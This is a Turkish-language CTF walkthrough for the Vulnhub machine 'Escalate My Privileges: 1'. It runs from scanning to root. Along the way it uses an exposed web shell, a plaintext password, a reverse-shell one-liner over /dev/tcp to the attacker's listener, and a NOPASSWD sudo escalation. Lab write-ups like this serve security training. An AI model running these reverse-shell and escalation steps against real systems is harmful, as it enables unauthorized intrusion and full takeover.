Merhabalar bu yazımızda Vulnhub içerisindeki ESCALATE MY PRIVILEGES: 1 makinesini çözeceğiz.
Sizde bizle birlikte vulnhub zafiyetli makina, zafiyetli makine çözümü yapabilirsiniz.
- Makine İsmi:Vulnhub ESCALATE MY PRIVILEGES: 1
- Web Sitesi: Vulnhub
- Seviye: Kolay
Okumadıysanız önceki CTF çözümleri yazımızı okumanızı öneriyoruz;
2- Vulnhub DRIFTINGBLUES2 CTF Çözümü
Makine İndirme Linki: VulnHub
1- Terminali açıyoruz ve netdiscover yazarak iç ağımızdaki cihazları tarıyoruz.
PCS olan hedef zafiyetli makine yani 192.168.2 ile başlayan bizim hedef makinemiz.
2- nmap -sV -sC -A -p- hedef ip adresi yazdık bütün portları tarayarak bilgi topluyoruz.
22,80,111 portları açık durumda.
3- Gobuster aracılığıyla hedef üzerinde dizin keşfi yapıyoruz. Klasik her sistemde olan robots.txt ve readme.txt haricinde bir şey çıkmadı.
Linkleri ziyaret ediyorum.
4- Robots.txt üzerinde baktığımızda /phpbash.php olarak izin verilmiş gözüküyor.
Dizine gidip bakıyorum, büyük olasılıkla bash ekranı bizi karşılayacak.
5- id yazıp baktığımızda apache kullanıcısı olarak görüyorum.
Buradan bayrağı yakalamaya çalışalım.
6-
- cd /home ile ev dizinine geçtik.
- ls ile baktığımızda armour kullanıcısı olduğunu gördük.
- cd armour yaptık ve ls yaptığımızda içerisinde 3 şey olduğunu gördük.
- Sırasıyla backup.sh ve runme.sh denedim bir şey çıkmadı.
- En son denediğimde md5 şifrelenmemiş şekilde rootroot1 şifresini bulduk.
Bu şifreyi md5 formatına çevireceğiz. Bu da armour kullanıcısının şifresi olduğunu düşünüyorum.
Home dizininde başka bir kullanıcı olmadığına göre armour kullanıcısının içerisine girersek kök kullanıcıya çok daha hızlı ulaşırız.
7- Terminale geldik ve echo -n rootroot1 | md5sum yaptığımızda MD5 formatında şifreye çevirdi.
MD5 şifresi: b7bc8489abe360486b4b19dbc242e885
8- Bash üzerinden denemeler yapıyorum ama yetki vermiyor. Buradan anladığımız armour kullanıcısının hesabına geçiş yapamayacağız.
Diğer husus olarak sudo denediğimde çalıştırmıyor.
Bizde reverse shell ile terminalimize bağlantı alabiliriz.
9- ncat -lvnp 9001 yazarak gelecek bağlantıyı dinlemeye başladık.
10- sh -i >& /dev/tcp/kendimakinenizinipadresi/9001 0>&1 yazıp enter yaptığımızda direkt bağlantı terminalimize geliyor.
Kendi makinenizin ip adresini ifconfig yazarak öğrenebilirsiniz. eth0 veya wlan0 sizin makine ip adresinizdir.
11- Evet bağlantı gelmiş, baktığımızda bash olarak çalışmıyor.
Bash kabuğuna geçiş yaparak komutların çalışmasını sağlayabiliriz.
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ yazdık ve bash aktif hale geldi.
12- su armour yazarak kullanıcı içerisine geçiş yapıyorum.
Password kısmına yukarıda çevirdiğimiz md5 giriyoruz ve armour kullanıcısı içerisindeyiz.
13- sudo -l yazdık ve root olmamız için bash tüm kök dizininde yetki vermemiz gerektiğini belirtiyor.
Nopasswd kısmından anlayabilirsiniz.
14- sudo bash yazdık ve root içerisine geçiş yaptık.
id yazdığımızda root olduğumuzu görebiliriz. Tüm yetkiler artık elimizde.
15-
cd /rootyaptık daha sonra lsve cat proof.txt yaparak bayrağı bulduk.
Bu makine çözümünün de sonuna gelmiş bulunuyoruz.